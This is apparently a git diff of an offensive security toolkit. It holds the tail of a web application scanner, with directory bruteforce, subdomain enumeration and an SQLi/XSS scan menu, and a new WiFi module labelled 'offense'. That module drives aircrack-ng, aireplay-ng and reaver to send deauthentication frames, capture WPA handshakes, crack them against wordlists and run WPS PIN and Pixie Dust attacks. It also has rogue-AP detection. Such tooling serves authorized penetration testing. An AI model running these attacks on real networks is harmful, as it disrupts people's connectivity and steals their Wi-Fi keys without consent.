values of security headers.""" + results = {} + for h in SECURITY_HEADERS: + value = headers.get(h, '') + results[h] = { + 'present': bool(value), + 'value': value, + 'rating': 'good' if value else 'missing', + } + + # Specific checks + csp = headers.get('Content-Security-Policy', '') + if csp: + if "'unsafe-inline'" in csp or "'unsafe-eval'" in csp: + results['Content-Security-Policy']['rating'] = 'weak' + + hsts = headers.get('Strict-Transport-Security', '') + if hsts: + if 'max-age' in hsts: + try: + age = int(re.search(r'max-age=(\d+)', hsts).group(1)) + if age < 31536000: + results['Strict-Transport-Security']['rating'] = 'weak' + except Exception: + pass + + return results + + # ── Technology Fingerprinting ───────────────────────────────────────── + + def _fingerprint_tech(self, resp) -> List[str]: + """Identify technologies from response.""" + techs = [] + headers_str = '\n'.join(f'{k}: {v}' for k, v in resp.headers.items()) + body = resp.text[:50000] # Only check first 50KB + cookies_str = ' '.join(resp.cookies.keys()) if resp.cookies else '' + + for tech, sigs in TECH_SIGNATURES.items(): + found = False + for h_sig in sigs['headers']: + if h_sig.lower() in headers_str.lower(): + found = True + break + if not found: + for b_sig in sigs['body']: + if b_sig.lower() in body.lower(): + found = True + break + if not found: + for c_sig in sigs['cookies']: + if c_sig.lower() in cookies_str.lower(): + found = True + break + if found: + techs.append(tech) + + return techs + + # ── SSL/TLS Audit ───────────────────────────────────────────────────── + + def _check_ssl(self, hostname: str, port: int = 443) -> dict: + """Check SSL/TLS configuration.""" + result = { + 'valid': False, + 'issuer': '', + 'subject': '', + 'expires': '', + 'protocol': '', + 'cipher': '', + 'issues': [], + } + try: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + with ctx.wrap_socket(socket.socket(), server_hostname=hostname) as s: + s.settimeout(5) + s.connect((hostname, port)) + cert = s.getpeercert(True) + result['protocol'] = s.version() + result['cipher'] = s.cipher()[0] if s.cipher() else '' + + # Try with verification + ctx2 = ssl.create_default_context() + try: + with ctx2.wrap_socket(socket.socket(), server_hostname=hostname) as s2: + s2.settimeout(5) + s2.connect((hostname, port)) + cert = s2.getpeercert() + result['valid'] = True + result['issuer'] = dict(x[0] for x in cert.get('issuer', [])) + result['subject'] = dict(x[0] for x in cert.get('subject', [])) + result['expires'] = cert.get('notAfter', '') + except ssl.SSLCertVerificationError as e: + result['issues'].append(f'Certificate validation failed: {e}') + + # Check for weak protocols + if result['protocol'] in ('TLSv1', 'TLSv1.1', 'SSLv3'): + result['issues'].append(f'Weak protocol: {result["protocol"]}') + + except Exception as e: + result['error'] = str(e) + + return result + + # ── Crawler ─────────────────────────────────────────────────────────── + + def crawl(self, url: str, max_pages: int = 50, depth: int = 3) -> dict: + """Spider a website and build a sitemap.""" + if not _HAS_REQUESTS: + return {'ok': False, 'error': 'requests library required'} + + url = self._normalize_url(url) + base_domain = urlparse(url).netloc + visited: Set[str] = set() + pages = [] + queue = [(url, 0)] + sess = self._get_session() + + while queue and len(visited) < max_pages: + current_url, current_depth = queue.pop(0) + if current_url in visited or current_depth > depth: + continue + visited.add(current_url) + + try: + r = sess.get(current_url, timeout=5, allow_redirects=True) + page = { + 'url': current_url, + 'status': r.status_code, + 'content_type': r.headers.get('Content-Type', ''), + 'size': len(r.content), + 'title': '', + 'forms': 0, + 'links_out': 0, + } + # Extract title + title_match = re.search(r']*>([^<]+)', r.text, re.I) + if title_match: + page['title'] = title_match.group(1).strip() + + # Count forms + page['forms'] = len(re.findall(r' dict: + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + result = { + 'ok': True, + 'done': holder['done'], + 'tested': holder['tested'], + 'total': holder['total'], + 'found': holder['found'], + } + if holder['done']: + self._active_jobs.pop(job_id, None) + return result + + # ── Helpers ─────────────────────────────────────────────────────────── + + @staticmethod + def _normalize_url(url: str) -> str: + url = url.strip() + if not url.startswith(('http://', 'https://')): + url = 'https://' + url + return url + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_webapp_scanner() -> WebAppScanner: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = WebAppScanner() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Web Application Scanner.""" + svc = get_webapp_scanner() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ WEB APPLICATION SCANNER ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Quick Scan (headers + tech) ║") + print("║ 2 — Directory Bruteforce ║") + print("║ 3 — Subdomain Enumeration ║") + print("║ 4 — Vulnerability Scan (SQLi/XSS) ║") + print("║ 5 — Crawl / Spider ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + url = input(" URL: ").strip() + if not url: + continue + print(" Scanning...") + r = svc.quick_scan(url) + print(f"\n Status: {r.get('status_code')}") + print(f" Server: {r.get('server', 'unknown')}") + if r.get('technologies'): + print(f" Technologies: {', '.join(r['technologies'])}") + if r.get('security_headers'): + print(" Security Headers:") + for h, info in r['security_headers'].items(): + mark = '\033[92m✓\033[0m' if info['present'] else '\033[91m✗\033[0m' + print(f" {mark} {h}") + if r.get('ssl'): + ssl_info = r['ssl'] + print(f" SSL: {'Valid' if ssl_info.get('valid') else 'INVALID'} " + f"({ssl_info.get('protocol', '?')})") + for issue in ssl_info.get('issues', []): + print(f" [!] {issue}") + elif choice == '2': + url = input(" URL: ").strip() + if not url: + continue + print(" Starting directory bruteforce...") + r = svc.dir_bruteforce(url) + if r.get('job_id'): + while True: + time.sleep(2) + s = svc.get_job_status(r['job_id']) + print(f" [{s['tested']}/{s['total']}] Found: {len(s['found'])}", end='\r') + if s['done']: + print() + for item in s['found']: + print(f" [{item['status']}] {item['path']} ({item['size']} bytes)") + break + elif choice == '3': + domain = input(" Domain: ").strip() + if not domain: + continue + print(" Enumerating subdomains...") + r = svc.subdomain_enum(domain) + print(f"\n Found {r['count']} subdomains:") + for sub in r.get('subdomains', []): + print(f" {sub}") + elif choice == '4': + url = input(" URL: ").strip() + if not url: + continue + print(" Scanning for vulnerabilities...") + r = svc.vuln_scan(url) + if r.get('findings'): + print(f"\n Found {len(r['findings'])} potential vulnerabilities:") + for f in r['findings']: + print(f" [{f['severity'].upper()}] {f['type'].upper()}: {f['description']}") + print(f" Parameter: {f.get('parameter', '?')}, Payload: {f.get('payload', '?')}") + else: + print(" No vulnerabilities found in tested parameters.") + elif choice == '5': + url = input(" URL: ").strip() + if not url: + continue + max_pages = int(input(" Max pages (default 50): ").strip() or '50') + print(" Crawling...") + r = svc.crawl(url, max_pages=max_pages) + print(f"\n Crawled {r.get('pages_crawled', 0)} pages:") + for page in r.get('pages', []): + print(f" [{page['status']}] {page['url']}" + f" ({page['size']} bytes, {page['forms']} forms)") diff --git a/modules/wifi_audit.py b/modules/wifi_audit.py new file mode 100644 index 0000000..f82e5fa --- /dev/null +++ b/modules/wifi_audit.py @@ -0,0 +1,843 @@ +"""AUTARCH WiFi Auditing + +Interface management, network discovery, handshake capture, deauth attack, +rogue AP detection, WPS attack, and packet capture for wireless security auditing. +""" + +DESCRIPTION = "WiFi network auditing & attack tools" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import re +import json +import time +import signal +import shutil +import threading +import subprocess +from pathlib import Path +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any, Tuple + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Data Structures ────────────────────────────────────────────────────────── + +@dataclass +class AccessPoint: + bssid: str + ssid: str = "" + channel: int = 0 + encryption: str = "" + cipher: str = "" + auth: str = "" + signal: int = 0 + beacons: int = 0 + data_frames: int = 0 + clients: List[str] = field(default_factory=list) + +@dataclass +class WifiClient: + mac: str + bssid: str = "" + signal: int = 0 + frames: int = 0 + probe: str = "" + + +# ── WiFi Auditor ───────────────────────────────────────────────────────────── + +class WiFiAuditor: + """WiFi auditing toolkit using aircrack-ng suite.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'wifi') + os.makedirs(self.data_dir, exist_ok=True) + self.captures_dir = os.path.join(self.data_dir, 'captures') + os.makedirs(self.captures_dir, exist_ok=True) + + # Tool paths + self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng') + self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng') + self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng') + self.aircrack = find_tool('aircrack-ng') or shutil.which('aircrack-ng') + self.reaver = find_tool('reaver') or shutil.which('reaver') + self.wash = find_tool('wash') or shutil.which('wash') + self.iwconfig = shutil.which('iwconfig') + self.iw = shutil.which('iw') + self.ip_cmd = shutil.which('ip') + + # State + self.monitor_interface: Optional[str] = None + self.scan_results: Dict[str, AccessPoint] = {} + self.clients: List[WifiClient] = [] + self.known_aps: List[Dict] = [] + self._scan_proc: Optional[subprocess.Popen] = None + self._capture_proc: Optional[subprocess.Popen] = None + self._jobs: Dict[str, Dict] = {} + + def get_tools_status(self) -> Dict[str, bool]: + """Check availability of all required tools.""" + return { + 'airmon-ng': self.airmon is not None, + 'airodump-ng': self.airodump is not None, + 'aireplay-ng': self.aireplay is not None, + 'aircrack-ng': self.aircrack is not None, + 'reaver': self.reaver is not None, + 'wash': self.wash is not None, + 'iwconfig': self.iwconfig is not None, + 'iw': self.iw is not None, + 'ip': self.ip_cmd is not None, + } + + # ── Interface Management ───────────────────────────────────────────── + + def get_interfaces(self) -> List[Dict]: + """List wireless interfaces.""" + interfaces = [] + # Try iw first + if self.iw: + try: + out = subprocess.check_output([self.iw, 'dev'], text=True, timeout=5) + iface = None + for line in out.splitlines(): + line = line.strip() + if line.startswith('Interface'): + iface = {'name': line.split()[-1], 'mode': 'managed', 'channel': 0, 'mac': ''} + elif iface: + if line.startswith('type'): + iface['mode'] = line.split()[-1] + elif line.startswith('channel'): + try: + iface['channel'] = int(line.split()[1]) + except (ValueError, IndexError): + pass + elif line.startswith('addr'): + iface['mac'] = line.split()[-1] + if iface: + interfaces.append(iface) + except Exception: + pass + + # Fallback to iwconfig + if not interfaces and self.iwconfig: + try: + out = subprocess.check_output([self.iwconfig], text=True, + stderr=subprocess.DEVNULL, timeout=5) + for block in out.split('\n\n'): + if 'IEEE 802.11' in block or 'ESSID' in block: + name = block.split()[0] + mode = 'managed' + if 'Mode:Monitor' in block: + mode = 'monitor' + elif 'Mode:Master' in block: + mode = 'master' + freq_m = re.search(r'Channel[:\s]*(\d+)', block) + ch = int(freq_m.group(1)) if freq_m else 0 + interfaces.append({'name': name, 'mode': mode, 'channel': ch, 'mac': ''}) + except Exception: + pass + + # Fallback: list from /sys + if not interfaces: + try: + wireless_dir = Path('/sys/class/net') + if wireless_dir.exists(): + for d in wireless_dir.iterdir(): + if (d / 'wireless').exists() or (d / 'phy80211').exists(): + interfaces.append({ + 'name': d.name, 'mode': 'unknown', 'channel': 0, 'mac': '' + }) + except Exception: + pass + + return interfaces + + def enable_monitor(self, interface: str) -> Dict: + """Put interface into monitor mode.""" + if not self.airmon: + return {'ok': False, 'error': 'airmon-ng not found'} + + try: + # Kill interfering processes + subprocess.run([self.airmon, 'check', 'kill'], + capture_output=True, text=True, timeout=10) + + # Enable monitor mode + result = subprocess.run([self.airmon, 'start', interface], + capture_output=True, text=True, timeout=10) + + # Detect monitor interface name (usually wlan0mon or similar) + mon_iface = interface + 'mon' + for line in result.stdout.splitlines(): + m = re.search(r'\(monitor mode.*enabled.*on\s+(\S+)\)', line, re.I) + if m: + mon_iface = m.group(1) + break + m = re.search(r'monitor mode.*vif.*enabled.*for.*\[(\S+)\]', line, re.I) + if m: + mon_iface = m.group(1) + break + + self.monitor_interface = mon_iface + return {'ok': True, 'interface': mon_iface, 'message': f'Monitor mode enabled on {mon_iface}'} + + except subprocess.TimeoutExpired: + return {'ok': False, 'error': 'Timeout enabling monitor mode'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def disable_monitor(self, interface: str = None) -> Dict: + """Disable monitor mode and restore managed mode.""" + if not self.airmon: + return {'ok': False, 'error': 'airmon-ng not found'} + + iface = interface or self.monitor_interface + if not iface: + return {'ok': False, 'error': 'No monitor interface specified'} + + try: + result = subprocess.run([self.airmon, 'stop', iface], + capture_output=True, text=True, timeout=10) + self.monitor_interface = None + # Restart network manager + subprocess.run(['systemctl', 'start', 'NetworkManager'], + capture_output=True, timeout=5) + return {'ok': True, 'message': f'Monitor mode disabled on {iface}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def set_channel(self, interface: str, channel: int) -> Dict: + """Set wireless interface channel.""" + if self.iw: + try: + subprocess.run([self.iw, 'dev', interface, 'set', 'channel', str(channel)], + capture_output=True, text=True, timeout=5) + return {'ok': True, 'channel': channel} + except Exception as e: + return {'ok': False, 'error': str(e)} + return {'ok': False, 'error': 'iw not found'} + + # ── Network Scanning ───────────────────────────────────────────────── + + def scan_networks(self, interface: str = None, duration: int = 15) -> Dict: + """Scan for nearby wireless networks using airodump-ng.""" + iface = interface or self.monitor_interface + if not iface: + return {'ok': False, 'error': 'No monitor interface. Enable monitor mode first.'} + if not self.airodump: + return {'ok': False, 'error': 'airodump-ng not found'} + + prefix = os.path.join(self.captures_dir, f'scan_{int(time.time())}') + + try: + proc = subprocess.Popen( + [self.airodump, '--output-format', 'csv', '-w', prefix, iface], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL + ) + time.sleep(duration) + proc.send_signal(signal.SIGINT) + proc.wait(timeout=5) + + # Parse CSV output + csv_file = prefix + '-01.csv' + if os.path.exists(csv_file): + self._parse_airodump_csv(csv_file) + return { + 'ok': True, + 'access_points': [self._ap_to_dict(ap) for ap in self.scan_results.values()], + 'clients': [self._client_to_dict(c) for c in self.clients], + 'count': len(self.scan_results) + } + return {'ok': False, 'error': 'No scan output produced'} + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def _parse_airodump_csv(self, filepath: str): + """Parse airodump-ng CSV output.""" + self.scan_results.clear() + self.clients.clear() + + try: + with open(filepath, 'r', errors='ignore') as f: + content = f.read() + + # Split into AP section and client section + sections = content.split('Station MAC') + ap_section = sections[0] if sections else '' + client_section = sections[1] if len(sections) > 1 else '' + + # Parse APs + for line in ap_section.splitlines(): + parts = [p.strip() for p in line.split(',')] + if len(parts) >= 14 and re.match(r'^[0-9A-Fa-f]{2}:', parts[0]): + bssid = parts[0].upper() + ap = AccessPoint( + bssid=bssid, + channel=int(parts[3]) if parts[3].strip().isdigit() else 0, + signal=int(parts[8]) if parts[8].strip().lstrip('-').isdigit() else 0, + encryption=parts[5].strip(), + cipher=parts[6].strip(), + auth=parts[7].strip(), + beacons=int(parts[9]) if parts[9].strip().isdigit() else 0, + data_frames=int(parts[10]) if parts[10].strip().isdigit() else 0, + ssid=parts[13].strip() if len(parts) > 13 else '' + ) + self.scan_results[bssid] = ap + + # Parse clients + for line in client_section.splitlines(): + parts = [p.strip() for p in line.split(',')] + if len(parts) >= 6 and re.match(r'^[0-9A-Fa-f]{2}:', parts[0]): + client = WifiClient( + mac=parts[0].upper(), + signal=int(parts[3]) if parts[3].strip().lstrip('-').isdigit() else 0, + frames=int(parts[4]) if parts[4].strip().isdigit() else 0, + bssid=parts[5].strip().upper() if len(parts) > 5 else '', + probe=parts[6].strip() if len(parts) > 6 else '' + ) + self.clients.append(client) + # Associate with AP + if client.bssid in self.scan_results: + self.scan_results[client.bssid].clients.append(client.mac) + + except Exception: + pass + + def get_scan_results(self) -> Dict: + """Return current scan results.""" + return { + 'access_points': [self._ap_to_dict(ap) for ap in self.scan_results.values()], + 'clients': [self._client_to_dict(c) for c in self.clients], + 'count': len(self.scan_results) + } + + # ── Handshake Capture ──────────────────────────────────────────────── + + def capture_handshake(self, interface: str, bssid: str, channel: int, + deauth_count: int = 5, timeout: int = 60) -> str: + """Capture WPA handshake. Returns job_id for async polling.""" + job_id = f'handshake_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'handshake', 'status': 'running', 'bssid': bssid, + 'result': None, 'started': time.time() + } + + def _capture(): + try: + # Set channel + self.set_channel(interface, channel) + + prefix = os.path.join(self.captures_dir, f'hs_{bssid.replace(":", "")}_{int(time.time())}') + + # Start capture + cap_proc = subprocess.Popen( + [self.airodump, '-c', str(channel), '--bssid', bssid, + '-w', prefix, interface], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL + ) + + # Send deauths after short delay + time.sleep(3) + if self.aireplay: + subprocess.run( + [self.aireplay, '-0', str(deauth_count), '-a', bssid, interface], + capture_output=True, timeout=15 + ) + + # Wait for handshake + cap_file = prefix + '-01.cap' + start = time.time() + captured = False + while time.time() - start < timeout: + if os.path.exists(cap_file) and self.aircrack: + check = subprocess.run( + [self.aircrack, '-a', '2', '-b', bssid, cap_file], + capture_output=True, text=True, timeout=10 + ) + if '1 handshake' in check.stdout.lower() or 'valid handshake' in check.stdout.lower(): + captured = True + break + time.sleep(2) + + cap_proc.send_signal(signal.SIGINT) + cap_proc.wait(timeout=5) + + if captured: + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': True, 'capture_file': cap_file, 'bssid': bssid, + 'message': f'Handshake captured for {bssid}' + } + else: + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': False, 'error': 'Handshake capture timed out', + 'capture_file': cap_file if os.path.exists(cap_file) else None + } + + except Exception as e: + self._jobs[job_id]['status'] = 'error' + self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)} + + threading.Thread(target=_capture, daemon=True).start() + return job_id + + def crack_handshake(self, capture_file: str, wordlist: str, bssid: str = None) -> str: + """Crack captured handshake with wordlist. Returns job_id.""" + if not self.aircrack: + return '' + + job_id = f'crack_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'crack', 'status': 'running', + 'result': None, 'started': time.time() + } + + def _crack(): + try: + cmd = [self.aircrack, '-w', wordlist, '-b', bssid, capture_file] if bssid else \ + [self.aircrack, '-w', wordlist, capture_file] + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=3600) + + # Parse result + key_match = re.search(r'KEY FOUND!\s*\[\s*(.+?)\s*\]', result.stdout) + if key_match: + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': True, 'key': key_match.group(1), 'message': 'Key found!' + } + else: + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': False, 'error': 'Key not found in wordlist' + } + + except subprocess.TimeoutExpired: + self._jobs[job_id]['status'] = 'error' + self._jobs[job_id]['result'] = {'ok': False, 'error': 'Crack timeout (1hr)'} + except Exception as e: + self._jobs[job_id]['status'] = 'error' + self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)} + + threading.Thread(target=_crack, daemon=True).start() + return job_id + + # ── Deauth Attack ──────────────────────────────────────────────────── + + def deauth(self, interface: str, bssid: str, client: str = None, + count: int = 10) -> Dict: + """Send deauthentication frames.""" + if not self.aireplay: + return {'ok': False, 'error': 'aireplay-ng not found'} + + iface = interface or self.monitor_interface + if not iface: + return {'ok': False, 'error': 'No monitor interface'} + + try: + cmd = [self.aireplay, '-0', str(count), '-a', bssid] + if client: + cmd += ['-c', client] + cmd.append(iface) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return { + 'ok': True, + 'message': f'Sent {count} deauth frames to {bssid}' + + (f' targeting {client}' if client else ' (broadcast)'), + 'output': result.stdout + } + except subprocess.TimeoutExpired: + return {'ok': False, 'error': 'Deauth timeout'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Rogue AP Detection ─────────────────────────────────────────────── + + def save_known_aps(self): + """Save current scan as known/baseline APs.""" + self.known_aps = [self._ap_to_dict(ap) for ap in self.scan_results.values()] + known_file = os.path.join(self.data_dir, 'known_aps.json') + with open(known_file, 'w') as f: + json.dump(self.known_aps, f, indent=2) + return {'ok': True, 'count': len(self.known_aps)} + + def load_known_aps(self) -> List[Dict]: + """Load previously saved known APs.""" + known_file = os.path.join(self.data_dir, 'known_aps.json') + if os.path.exists(known_file): + with open(known_file) as f: + self.known_aps = json.load(f) + return self.known_aps + + def detect_rogue_aps(self) -> Dict: + """Compare current scan against known APs to detect evil twins/rogues.""" + if not self.known_aps: + self.load_known_aps() + if not self.known_aps: + return {'ok': False, 'error': 'No baseline APs saved. Run save_known_aps first.'} + + known_bssids = {ap['bssid'] for ap in self.known_aps} + known_ssids = {ap['ssid'] for ap in self.known_aps if ap['ssid']} + known_pairs = {(ap['bssid'], ap['ssid']) for ap in self.known_aps} + + alerts = [] + for bssid, ap in self.scan_results.items(): + if bssid not in known_bssids: + if ap.ssid in known_ssids: + # Same SSID, different BSSID = possible evil twin + alerts.append({ + 'type': 'evil_twin', + 'severity': 'high', + 'bssid': bssid, + 'ssid': ap.ssid, + 'channel': ap.channel, + 'signal': ap.signal, + 'message': f'Possible evil twin: SSID "{ap.ssid}" from unknown BSSID {bssid}' + }) + else: + # Completely new AP + alerts.append({ + 'type': 'new_ap', + 'severity': 'low', + 'bssid': bssid, + 'ssid': ap.ssid, + 'channel': ap.channel, + 'signal': ap.signal, + 'message': f'New AP detected: "{ap.ssid}" ({bssid})' + }) + else: + # Known BSSID but check for SSID change + if (bssid, ap.ssid) not in known_pairs and ap.ssid: + alerts.append({ + 'type': 'ssid_change', + 'severity': 'medium', + 'bssid': bssid, + 'ssid': ap.ssid, + 'message': f'Known AP {bssid} changed SSID to "{ap.ssid}"' + }) + + return { + 'ok': True, + 'alerts': alerts, + 'alert_count': len(alerts), + 'scanned': len(self.scan_results), + 'known': len(self.known_aps) + } + + # ── WPS Attack ─────────────────────────────────────────────────────── + + def wps_scan(self, interface: str = None) -> Dict: + """Scan for WPS-enabled networks using wash.""" + iface = interface or self.monitor_interface + if not self.wash: + return {'ok': False, 'error': 'wash not found'} + if not iface: + return {'ok': False, 'error': 'No monitor interface'} + + try: + result = subprocess.run( + [self.wash, '-i', iface, '-s'], + capture_output=True, text=True, timeout=15 + ) + networks = [] + for line in result.stdout.splitlines(): + parts = line.split() + if len(parts) >= 6 and re.match(r'^[0-9A-Fa-f]{2}:', parts[0]): + networks.append({ + 'bssid': parts[0], + 'channel': parts[1], + 'rssi': parts[2], + 'wps_version': parts[3], + 'locked': parts[4].upper() == 'YES', + 'ssid': ' '.join(parts[5:]) + }) + return {'ok': True, 'networks': networks, 'count': len(networks)} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def wps_attack(self, interface: str, bssid: str, channel: int, + pixie_dust: bool = True, timeout: int = 300) -> str: + """Run WPS PIN attack (Pixie Dust or brute force). Returns job_id.""" + if not self.reaver: + return '' + + job_id = f'wps_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'wps', 'status': 'running', 'bssid': bssid, + 'result': None, 'started': time.time() + } + + def _attack(): + try: + cmd = [self.reaver, '-i', interface, '-b', bssid, '-c', str(channel), '-vv'] + if pixie_dust: + cmd.extend(['-K', '1']) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + + pin_match = re.search(r'WPS PIN:\s*[\'"]?(\d+)', result.stdout) + psk_match = re.search(r'WPA PSK:\s*[\'"]?(.+?)[\'"]?\s*$', result.stdout, re.M) + + if pin_match or psk_match: + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': True, + 'pin': pin_match.group(1) if pin_match else None, + 'psk': psk_match.group(1) if psk_match else None, + 'message': 'WPS attack successful' + } + else: + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': False, 'error': 'WPS attack failed', + 'output': result.stdout[-500:] if result.stdout else '' + } + except subprocess.TimeoutExpired: + self._jobs[job_id]['status'] = 'error' + self._jobs[job_id]['result'] = {'ok': False, 'error': 'WPS attack timed out'} + except Exception as e: + self._jobs[job_id]['status'] = 'error' + self._jobs[job_id]['result'] = {'ok': False, 'error': str(e)} + + threading.Thread(target=_attack, daemon=True).start() + return job_id + + # ── Packet Capture ─────────────────────────────────────────────────── + + def start_capture(self, interface: str, channel: int = None, + bssid: str = None, output_name: str = None) -> Dict: + """Start raw packet capture on interface.""" + if not self.airodump: + return {'ok': False, 'error': 'airodump-ng not found'} + + iface = interface or self.monitor_interface + if not iface: + return {'ok': False, 'error': 'No monitor interface'} + + name = output_name or f'capture_{int(time.time())}' + prefix = os.path.join(self.captures_dir, name) + + cmd = [self.airodump, '--output-format', 'pcap,csv', '-w', prefix] + if channel: + cmd += ['-c', str(channel)] + if bssid: + cmd += ['--bssid', bssid] + cmd.append(iface) + + try: + self._capture_proc = subprocess.Popen( + cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL + ) + return { + 'ok': True, + 'message': f'Capture started on {iface}', + 'prefix': prefix, + 'pid': self._capture_proc.pid + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def stop_capture(self) -> Dict: + """Stop running packet capture.""" + if self._capture_proc: + try: + self._capture_proc.send_signal(signal.SIGINT) + self._capture_proc.wait(timeout=5) + except Exception: + self._capture_proc.kill() + self._capture_proc = None + return {'ok': True, 'message': 'Capture stopped'} + return {'ok': False, 'error': 'No capture running'} + + def list_captures(self) -> List[Dict]: + """List saved capture files.""" + captures = [] + cap_dir = Path(self.captures_dir) + for f in sorted(cap_dir.glob('*.cap')) + sorted(cap_dir.glob('*.pcap')): + captures.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': f.stat().st_mtime + }) + return captures + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + """Get job status.""" + return self._jobs.get(job_id) + + def list_jobs(self) -> List[Dict]: + """List all jobs.""" + return [{'id': k, **v} for k, v in self._jobs.items()] + + # ── Helpers ────────────────────────────────────────────────────────── + + def _ap_to_dict(self, ap: AccessPoint) -> Dict: + return { + 'bssid': ap.bssid, 'ssid': ap.ssid, 'channel': ap.channel, + 'encryption': ap.encryption, 'cipher': ap.cipher, 'auth': ap.auth, + 'signal': ap.signal, 'beacons': ap.beacons, + 'data_frames': ap.data_frames, 'clients': ap.clients + } + + def _client_to_dict(self, c: WifiClient) -> Dict: + return { + 'mac': c.mac, 'bssid': c.bssid, 'signal': c.signal, + 'frames': c.frames, 'probe': c.probe + } + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_wifi_auditor() -> WiFiAuditor: + global _instance + if _instance is None: + _instance = WiFiAuditor() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for WiFi Auditing module.""" + auditor = get_wifi_auditor() + + while True: + tools = auditor.get_tools_status() + available = sum(1 for v in tools.values() if v) + + print(f"\n{'='*60}") + print(f" WiFi Auditing ({available}/{len(tools)} tools available)") + print(f"{'='*60}") + print(f" Monitor Interface: {auditor.monitor_interface or 'None'}") + print(f" APs Found: {len(auditor.scan_results)}") + print(f" Clients Found: {len(auditor.clients)}") + print() + print(" 1 — List Wireless Interfaces") + print(" 2 — Enable Monitor Mode") + print(" 3 — Disable Monitor Mode") + print(" 4 — Scan Networks") + print(" 5 — Deauth Attack") + print(" 6 — Capture Handshake") + print(" 7 — Crack Handshake") + print(" 8 — WPS Scan") + print(" 9 — Rogue AP Detection") + print(" 10 — Packet Capture") + print(" 11 — Tool Status") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + ifaces = auditor.get_interfaces() + if ifaces: + for i in ifaces: + print(f" {i['name']} mode={i['mode']} ch={i['channel']}") + else: + print(" No wireless interfaces found") + elif choice == '2': + iface = input(" Interface name: ").strip() + result = auditor.enable_monitor(iface) + print(f" {result.get('message', result.get('error', 'Unknown'))}") + elif choice == '3': + result = auditor.disable_monitor() + print(f" {result.get('message', result.get('error', 'Unknown'))}") + elif choice == '4': + dur = input(" Scan duration (seconds, default 15): ").strip() + result = auditor.scan_networks(duration=int(dur) if dur.isdigit() else 15) + if result['ok']: + print(f" Found {result['count']} access points:") + for ap in result['access_points']: + print(f" {ap['bssid']} {ap['ssid']:<24} ch={ap['channel']} " + f"sig={ap['signal']}dBm {ap['encryption']}") + else: + print(f" Error: {result['error']}") + elif choice == '5': + bssid = input(" Target BSSID: ").strip() + client = input(" Client MAC (blank=broadcast): ").strip() or None + count = input(" Deauth count (default 10): ").strip() + result = auditor.deauth(auditor.monitor_interface, bssid, client, + int(count) if count.isdigit() else 10) + print(f" {result.get('message', result.get('error'))}") + elif choice == '6': + bssid = input(" Target BSSID: ").strip() + channel = input(" Channel: ").strip() + if bssid and channel.isdigit(): + job_id = auditor.capture_handshake(auditor.monitor_interface, bssid, int(channel)) + print(f" Handshake capture started (job: {job_id})") + print(" Polling for result...") + while True: + job = auditor.get_job(job_id) + if job and job['status'] != 'running': + print(f" Result: {job['result']}") + break + time.sleep(3) + elif choice == '7': + cap = input(" Capture file path: ").strip() + wl = input(" Wordlist path: ").strip() + bssid = input(" BSSID (optional): ").strip() or None + if cap and wl: + job_id = auditor.crack_handshake(cap, wl, bssid) + if job_id: + print(f" Cracking started (job: {job_id})") + else: + print(" aircrack-ng not found") + elif choice == '8': + result = auditor.wps_scan() + if result['ok']: + print(f" Found {result['count']} WPS networks:") + for n in result['networks']: + locked = 'LOCKED' if n['locked'] else 'open' + print(f" {n['bssid']} {n['ssid']:<24} WPS {n['wps_version']} {locked}") + else: + print(f" Error: {result['error']}") + elif choice == '9': + if not auditor.known_aps: + print(" No baseline saved. Save current scan as baseline? (y/n)") + if input(" > ").strip().lower() == 'y': + auditor.save_known_aps() + print(f" Saved {len(auditor.known_aps)} APs as baseline") + else: + result = auditor.detect_rogue_aps() + if 